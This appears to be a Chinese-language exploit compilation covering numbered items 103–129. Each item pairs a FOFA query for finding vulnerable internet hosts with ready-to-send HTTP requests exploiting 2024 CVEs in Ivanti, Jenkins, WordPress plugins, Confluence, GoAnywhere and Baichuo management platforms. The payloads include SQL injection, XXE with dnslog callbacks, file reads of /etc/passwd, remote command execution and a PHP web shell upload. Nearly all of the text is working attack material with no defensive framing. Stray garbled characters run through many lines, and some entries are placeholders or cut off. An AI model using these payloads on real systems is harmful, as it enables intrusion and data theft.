103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
+ u2 H1 \2 a. O1 c( kFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
" C: m4 u* o- O3 zHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
' b4 d8 z$ Z* b% ]5 E# ^Content-Type: application/x-www-form-urlencoded
3 [1 z. p5 M+ C9 NAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
8 H" a7 W8 Y0 u
/ Q& O% I# _. Y9 Z: I
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
, A* q& `- w6 p; `) ~

( c! g3 O2 D" u; i$ K; Y104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
" X( I0 i# h- j( M8 |CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
* n+ x7 i7 f5 D/ p- mHost:192.168.0.1
  b, g1 ]6 G! G5 c1 P3 g* ^Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
1 N- [3 H; f7 E3 A% tUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
: ?; ?4 O4 F  U* pOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
3 z4 T4 `7 N+ ^* k6 cAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
( }0 A0 z9 n7 ~6 zConnection:close

" J5 c2 T8 K. v& t$ U; _* f{
"topicurl":"getSysStatusCfg",
"token":""
}
, h% o6 X8 i" p5 z9 q
* }" }. u4 p& Z- h" E: o+ {  [' X105. SpringBlade v3.2.0 export-user SQL 注入
/ B) [' I- [! _FOFA：body="https://bladex.vip"
. }/ @$ ~! Y# N  vhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
6 j6 ]$ @, @$ r1 @7 U0 i, V+ |: L1 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
* A) a. U9 ^  u& s0 FAccept-Language: zh-CN,zh;q=0.9
Connection: close
% |# A( @9 D; Q2 ]7 \

3 I) I1 n& [7 h! j3 B: n' L107. SpringBlade tenant/list SQL 注入
* W3 S( I; {: e# v" m3 SFOFA：body="https://bladex.vip"
" j/ w, n$ |% E/ ZGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
0 h% X' y, b' l! p9 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close

, X5 |. \% ~  e0 V
; q8 q9 x9 P0 c4 b- O  O/ I108. D-Tale 3.9.0 SSRF
CVE-2024-21642
1 K0 q" c8 ?6 F* j' b  _) b8 M5 eFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
& t* K) w" Y; T9 ~; R, EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 `' e" w1 ^! K, k  B3 ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
2 a2 m( a, a  ?1 _0 \( Y) t2 C0 z+ XConnection: close

7 a# L( z& v- ]
109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
5 T3 L  e( s& O9 C8 P) RPOST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
, u0 _6 w) {) \4 W, ASession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
& E2 C; Z2 f0 T7 nSide: upload
Connection: keep-alive
! p: j9 C; F  ?, o5 j" o' lContent-Length: 163

7 [& V- I% ]! T1 e0 K' O6 E6 }b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
' W0 ?" I  V4 u* l' w1 G8 y) `

POST /cli?remoting=false HTTP/1.1
) I% Z& X: g/ C% y- g+ {$ T5 G- UHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
0 b) H2 R- E. O. \# K5 Ndownload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
7 F) ^+ G: v& E# y. I: [& V

' ]# y2 ~% K% i$ b/ y" CERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
, a' {: r' i: k5 Yjava -jar jenkins-cli.jar help
# ?/ @, H" F9 ~- b1 S[COMMAND]
Lists all the available commands or a detailed description of single command.
% D' C$ K+ C0 q8 P COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


9 ?# ~4 M+ t# w. k1 |, D5 |/ Y110. Goanywhere MFT 未授权创建管理员
) p; Q7 a8 S5 f) a; aCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
1 A" H% {1 q- |1 k( I& sHost: 192.168.40.130:8000
0 F: g! u0 r2 k3 H( k& \9 [User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

, ]' O5 Y( b- n0 H  K! b
/ O! P. E. w% e' ?  S9 y, v, W111. WordPress Plugin HTML5 Video Player SQL注入
4 L5 K  V* ?  XCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
& Z0 F& ~' `( i& UHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 V3 U. h3 q3 B; p% |# M5 VConnection: close
Accept: */*
8 O" i% j! S6 K) h4 g2 x- SAccept-Language: en
: i. Z4 X% C9 U. gAccept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
; R# w, [: n8 P) p0 HFOFA：body="/wp-content/plugins/notificationx"
1 R5 p1 Q# E8 L; V# VPOST /wp-json/notificationx/v1/analytics HTTP/1.1
: h0 r4 R# d1 |) t0 z) yHost: {{Hostname}}
& k! H: @' R& l3 s" W/ y. wContent-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


/ a3 `# ]' b' D# P113. WordPress Automatic 插件任意文件下载和SSRF
% X, d- I, A3 b  j. g$ j( Y- n* uCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
8 p' O- l) ~; P, r0 ]2 \GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
( @$ h0 L8 u1 _- ?3 T% e% W9 `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
% b4 J+ F6 i/ Q# WConnection: close
Accept: */*
Accept-Language: en
5 o* x% C6 J$ t. F; P- AAccept-Encoding: gzip

7 V: G1 @- M" ]: T8 p
* A8 Z4 z- |6 U4 Q7 e114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
' m3 w$ n) p; K, `( WGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
; ?/ L7 O' u; r  k. ]! mHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. v6 x" P* s- M% Q  Q- C1 XAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
2 u& {% @" y; A5 l* K& l
7 L9 z- v2 @% m, h# ?8 m: t
; h# D9 W" H# P, Z5 s7 x% D: V# B# h115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
( M& K$ I; H3 y( |/ Y% i, y) SFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
9 ^4 T1 M3 b4 n3 }. R( jConnection: close
Accept-Encoding: gzip

. E! r$ o5 ]% p, F
) G, A8 j& Q6 [2 z. B6 m6 o" M' u: I& K  x第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
, z! A+ B8 ^0 \' z% uContent-Length: 356
Content-Type: application/json
( a' A4 H8 u; W* P/ mAccept-Encoding: gzip

{
"postId": "1",
* [7 v' e; \; q" W: B  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
8 _$ K4 \% J2 X) M% B3 \% U, f    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
0 [* `1 H* @& I9 t$ o        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
# I1 N8 G+ C8 N, w  Z      }
" G/ d8 O/ W6 S, R+ o( i3 l9 ~* e; z) t    }
  }
+ M* |% V/ `/ R3 `' @3 n6 n! o0 r}
0 W5 R+ q, z& J/ k2 r1 ^; R

116. wordpress js-support-ticket文件上传
* R/ p: a8 w/ q, sFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
% [! t$ j& K9 v4 e5 yHost:
4 I2 Y" ^3 w6 q+ W9 DContent-Type: multipart/form-data; boundary=--------767099171
" ?* A) @9 W/ H% z3 n$ q) |User-Agent: Mozilla/5.0

----------767099171
5 Z( E' H. I/ W8 a5 lContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
% ?5 ~  \7 z% M* r% S% vjssupportticket
& F4 o8 Z4 ?% M( q----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
; W% f3 v$ c" Z8 w8 eContent-Type: image/png
' j( X, z8 A0 q- J4 r----------767099171--


' E* C" P* \9 Q( V117. WordPress LayerSlider插件SQL注入
4 y2 n/ c6 W* Z' bversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
! Z) {6 @. f4 D* h; _GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
/ R5 i. |& U5 w1 N* o; F1 WHost: your-ip
3 Y; W$ {" ]7 @* d4 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) I7 K& G! [# x0 U9 V) n8 t0 E) xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( {; r/ r/ e8 u. d! t5 K9 Q' zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
- P& g% s: a) J7 |! q% {) sConnection: close
Upgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
% g8 ~' ?0 k2 ^7 pCVE-2024-0939
9 c+ [; ^4 j0 g) m; ^FOFA：title="Smart管理平台"
3 u0 w" j3 ]2 g5 e8 t- u3 |2 k1 w/ UPOST /Tool/uploadfile.php? HTTP/1.1
8 [- f4 f( @: ]0 t4 qHost: 192.168.40.130:8443
7 ~, c0 H# A% v4 k' _! r) n5 ]Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
3 @- a6 _' W3 Q  f4 F/ }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 z& D- M4 a. P! t: N( V- }! CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 q/ I) q; j# J/ o( ^- _Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
; O4 h: h  Z7 R9 f! ]$ z' E4 _Content-Length: 405
Origin: https://192.168.40.130:8443
+ z6 G$ q. Q3 B! o9 d. }, |9 \Referer: https://192.168.40.130:8443/Tool/uploadfile.php
; i" S5 y: q! GUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
5 B$ ^* Z* h6 |' d; ^4 ZSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
; Z) a+ w/ M% V; A. p" Z: \Connection: close
* M9 N. Y9 b! j  M6 c, l
-----------------------------13979701222747646634037182887
+ c6 ^/ }9 N8 u& A4 t( jContent-Disposition: form-data; name="file_upload"; filename="contents.php"
, L5 h2 J( }, q. nContent-Type: application/octet-stream
# g/ l# L& y; _; m
2 f" K/ J5 I" V6 ^2 y<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
- n+ }, F5 ?( ~( u& R( _# iContent-Disposition: form-data; name="txt_path"

/home/src.php
- N4 ^* H) j3 o6 |4 }1 e/ `-----------------------------13979701222747646634037182887--


9 F9 S  `4 }, m8 R/ T' e/ s访问/home/src.php

/ S# c( a. {( Q* Q! \4 W6 B9 A119. 北京百绰智能S20后台sysmanageajax.php sql注入
! M2 o! L/ J$ f$ M: @9 P7 l: CCVE-2024-1254
: `( |: c; a5 lFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
" C' T. {6 t6 fPOST /sysmanage/sysmanageajax.php HTTP/1.11
! z/ A. A# N6 L; ?* k  N) Y% o7 L1 JHost: x.x.x.x
1 O+ @; M  f2 @% p5 k+ e/ M& u9 S8 f7 MCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
) E2 M8 j0 W% J* t( a0 d; uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
  R3 P, }" m) ~Accept: */*
3 I, B/ s- y; i- H8 N# EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
, i7 D( o; Y2 HContent-Type: application/x-www-form-urlencoded;
! a( U# \7 c* PContent-Length: 109
Origin: https://58.18.133.60:8443
% N0 f& f$ R* }Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
+ ]- ]6 _* P  J' E' H  V& g% `Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
( g1 y8 a# A# h" P! q6 {, a5 SConnection: close

  g+ ~0 {7 l- @+ j5 A5 G1 ?- t6 Ssrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

8 Z1 ^  }. \& B% M
120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
, D7 P; p  l( ]FOFA：title="Smart管理平台"
1 ~5 S. |" J6 ]$ t% W# vPOST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 n- ^& M' x1 I! j4 J5 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 [; U6 C. O+ d0 QAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
0 ~2 ?. m1 y' T  H8 y/ rContent-Length: 597
" Z/ o. P) A7 i; y! @Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
% O' |. X" B7 r* ^( i% GSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
6 A1 w2 K7 g1 l1 h# h: D, \Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
  D8 M, o2 m& Q' W  P. K! nContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

7 |: K: u0 a$ k1 Z<?php phpinfo()?>
-----------------------------42328904123665875270630079328
1 U, D  w1 F* D# O$ L  ~6 ]( [6 pContent-Disposition: form-data; name="id_type"

1
% d4 M& k& V8 I-----------------------------42328904123665875270630079328
) F% J' Q" S: v" `& iContent-Disposition: form-data; name="1_ck"
% ]4 H$ d/ d" I  p
1_radhttp
-----------------------------42328904123665875270630079328
, m% C2 N+ S& u7 N0 h% C% `Content-Disposition: form-data; name="mode"
# J5 |& F. N4 }( ^# t2 T2 ?
. b) _% {) K4 t% R2 \  z/ qimport
  b4 Z& f0 t  T7 P) e! f7 R-----------------------------42328904123665875270630079328
: N" H/ E1 d/ H9 ]+ {

7 T" G0 ?1 }8 T. j文件路径/upload/2.php

0 ?" V# |% D& ~5 d0 x# t* v" X121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
; D# t+ O  e! ~- [. N  q+ f5 X8 o6 A  rPOST /useratte/userattestation.php HTTP/1.1
( r7 F  p1 u7 zHost: 192.168.40.130:8443
0 w) o; u( i" w  R% pCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
/ `9 R! K4 D  N# z' tContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
, o+ X& s0 R5 _. h' Q# pOrigin: https://192.168.40.130:8443
1 S& ?- C8 q& GUpgrade-Insecure-Requests: 1
* H9 A* k- k! `Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
3 Q5 e) h2 K! Z, m" H8 A* q! r/ tSec-Fetch-Site: same-origin
( f7 q4 ~/ ?8 W+ A- PSec-Fetch-User: ?1
# s3 z' z1 r: U# t) p3 [1 GTe: trailers
$ R6 m$ O% r5 ]' }5 g$ OConnection: close
4 y- ^0 R# l. M- `
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

) f8 V. R4 K+ G<?php phpinfo();?>
; ^- w6 {3 f0 V# E-----------------------------42328904123665875270630079328
; ^) v0 B0 U% p0 i3 oContent-Disposition: form-data; name="id_type"
- t" Q3 \+ F7 g% |
. X" ^* Q( Q# V1
" D. x- L$ T3 f- X& y" O6 N-----------------------------42328904123665875270630079328
* C3 o3 W0 I% I' k1 `" _) Y2 [4 oContent-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

set
-----------------------------42328904123665875270630079328
  Y6 [* _- y8 A8 s+ x2 I. K
8 T! I. e9 X; Y5 M; E
boot/web/upload/weblogo/1.php

" K: h; z5 h6 B122. 北京百绰智能s200管理平台/importexport.php sql注入
$ q+ \) m8 R* _- ]; I3 eCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
( Q7 c# d4 l, F" XGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
! C: d7 n/ b. O" C2 rHost: x.x.x.x
$ @$ b0 q+ K" ~2 HCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 @( j: y" ^4 |- b* R, |, d- aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
$ `2 K, q/ s6 D) hUpgrade-Insecure-Requests: 1
" P# A8 u: @, G. G; aSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
) o( s, H' Q2 J/ ^# O4 c7 VSec-Fetch-Site: none
Sec-Fetch-User: ?1
3 v4 `4 u% G6 r4 k3 TTe: trailers
Connection: close
) r  e1 {  ~( i# ]7 S/ F

123. Atlassian Confluence 模板注入代码执行
# y# G8 f2 s* d" K; VFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
  d0 I8 Z$ |# L. x+ r" C. M3 gHost: localhost:8090
Accept-Encoding: gzip, deflate, br
: o% C% s4 p% X' b0 D1 ^Accept: */*
/ Z7 h9 x. a+ ?Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
6 A* B' x4 d( a' `  CConnection: close
( N. O: ^7 [/ D- K9 G& HContent-Type: application/x-www-form-urlencoded
0 h5 E% }6 ~% Y8 Z& ~* c- Q8 `
- c* C: ]- x4 `, Tlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


( `- t" J' p2 O' e124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
! ^  [  i& Q$ \/ K* e6 @% F* CHost: 192.168.40.130:8282
8 Y) p) S% z0 e8 }$ c" i1 WUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
6 E  {0 J6 `8 Q9 Q" LAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
" M5 I/ X1 e: DContent-Type: application/x-www-form-urlencoded
. p" ^0 Z% {( C
/ }* k' R0 ^& dfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
0 l6 A) I- H! B" d
" R: {; Z7 G$ f$ E0 T4 j7 q/ V0 Y
http://192.168.40.130:8282/Scripts/abcgcg.aspx

; ~; B$ Q/ i* V+ H+ l' K! a9 h" {125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
' T8 }( d  e( v' VFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

* d1 o2 M" w+ b& f0 g& e7 F
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

' C: e$ u" o8 Y8 b
创建好用户后直接登录后台，可以执行系统命令。
! c2 v+ x( N, ?
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
) b7 D3 H6 l7 D' s# hGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
5 M' R# M, t6 l& RConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
( ^& o$ N! L4 k# J/ n) K( e0 v  ]

127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
" |) O9 _$ W9 o- X7 HPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
/ s1 |( a% r1 Y! C! r, J; a; K. _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' f$ f" c9 e7 K; @/ Q5 }/ I6 IAccept-Encoding: gzip, deflate
+ A$ g( a% |2 `7 _% f$ n8 sAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
6 A2 t7 D2 e* C3 s) a* A" t$ aPurpose: prefetch
Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
( B6 ]0 Z/ U: @) ^" [; m
8 X' x0 x7 m& v9 \/ bBIM
" C* O4 o4 J+ y$ \------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
+ J5 A4 b7 y9 Y/ ^Content-Type: text/plain
4 k; Y7 g8 g" E9 ~* v6 a- t5 Z
$ |3 P  \( ~; y7 C<?xml version="1.0" encoding="UTF-8"?>
7 A+ |. a' m7 w<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
5 m6 G9 u) j+ B' I& Y; v6 m( {, O>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--



9 S2 W' N! B# w  a8 [( d7 U128. Adobe ColdFusion 反序列化
CVE-2023-38203
" m# A/ @# d5 G# N, G" E; rAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
- }4 q& G# S  Z7 H- A, wFOFA：app="Adobe-ColdFusion"
7 A; ~) x1 @+ hPAYLOAD
# {# s. E! N) z+ \" @3 v
  m% F, y% q7 s9 G7 s: T129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
, w; j6 M6 H- S- ZFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
0 p) E0 D: L. D. YHost: x.x.x.x
